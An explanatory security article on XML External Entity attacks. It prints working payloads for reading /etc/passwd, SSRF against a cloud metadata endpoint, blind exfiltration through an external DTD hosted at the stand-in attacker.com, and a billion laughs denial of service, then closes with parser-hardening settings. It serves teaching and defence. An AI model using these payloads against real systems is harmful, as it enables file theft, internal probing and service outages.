Exploiting XML Parsers with Malicious DTD Declarations

This article examines how attackers exploit unhardened XML parsers through malicious Document Type Definition (DTD) declarations, a vulnerability commonly known as XML External Entity (XXE) injection. You will learn the mechanics behind these attacks, including local file disclosure, Server-Side Request Forgery (SSRF), out-of-band data exfiltration, and Denial of Service (DoS). Finally, the article outlines actionable defense strategies to harden XML parsers against these exploits.

Understanding DTDs and External Entities

A Document Type Definition (DTD) defines the legal building blocks of an XML document, specifying elements, attributes, and entities. XML entities function essentially as macros or shortcuts to data.

Entities can be declared internally or externally: * Internal Entity: Defined completely within the DTD (e.g., <!ENTITY name "value">). * External Entity: Points to an external resource using the SYSTEM identifier, which accepts a URI (e.g., <!ENTITY file SYSTEM "file:///path"> or <!ENTITY web SYSTEM "http://example.com">).

When an XML parser processes an untrusted document with external entity resolution enabled by default, it automatically fetches and parses the referenced URI, creating a direct vector for exploitation.

Attack Vectors Using Malicious DTDs

1. Local File Disclosure

Attackers can read sensitive files stored on the server by defining an external entity pointing to the local filesystem.

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ELEMENT data ANY>
  <!ENTITY sensitiveFile SYSTEM "file:///etc/passwd">
]>
<data>&sensitiveFile;</data>

When the parser encounters &sensitiveFile;, it reads /etc/passwd and inserts its contents directly into the parsed XML document, often reflecting the contents back in the application response.

2. Server-Side Request Forgery (SSRF)

Attackers can use HTTP or other network protocols inside the SYSTEM declaration to make the server initiate requests to internal or external systems.

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY internalResource SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&internalResource;</data>

This allows attackers to interact with internal APIs, cloud metadata services, or unauthenticated internal microservices hidden behind firewalls.

3. Out-of-Band (OOB) / Blind XXE

When the application does not return the parsed XML output directly, attackers use parameter entities (declared with %) hosted on an external attacker-controlled server to exfiltrate data via HTTP or FTP queries.

Attacker-Hosted DTD (evil.dtd):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;

Payload sent to target:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>test</data>

The target server loads the external DTD, reads the file, and sends the contents embedded within a URL query parameter back to the attacker’s server.

4. Denial of Service (Billion Laughs Attack)

Attackers can exhaust server memory and CPU resources using recursive entity definitions without accessing external resources.

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

Expanding nested entities exponentially overwhelms parser memory, leading to an immediate crash or resource starvation.

Hardening and Remediation

Securing XML parsers requires explicitly disabling features that allow DTD processing and external entity fetching.

  1. Disable DTD Processing Entirely: The most effective remediation is to disallow DOCTYPE declarations completely.
    • Java (DOM/SAX): Set http://apache.org/xml/features/disallow-doctype-decl to true.
    • .NET: Set XmlReaderSettings.DtdProcessing to DtdProcessing.Prohibit.
  2. Disable External Entities and Parameters: If DTDs cannot be fully disabled, turn off external entity resolution:
    • Disable http://xml.org/sax/features/external-general-entities
    • Disable http://xml.org/sax/features/external-parameter-entities
    • Disable http://apache.org/xml/features/nonvalidating/load-external-dtd
  3. Use Less Complex Formats: Where feasible, replace XML with simpler data serialization formats such as JSON or Protocol Buffers, which do not support dynamic entity resolution mechanisms by design.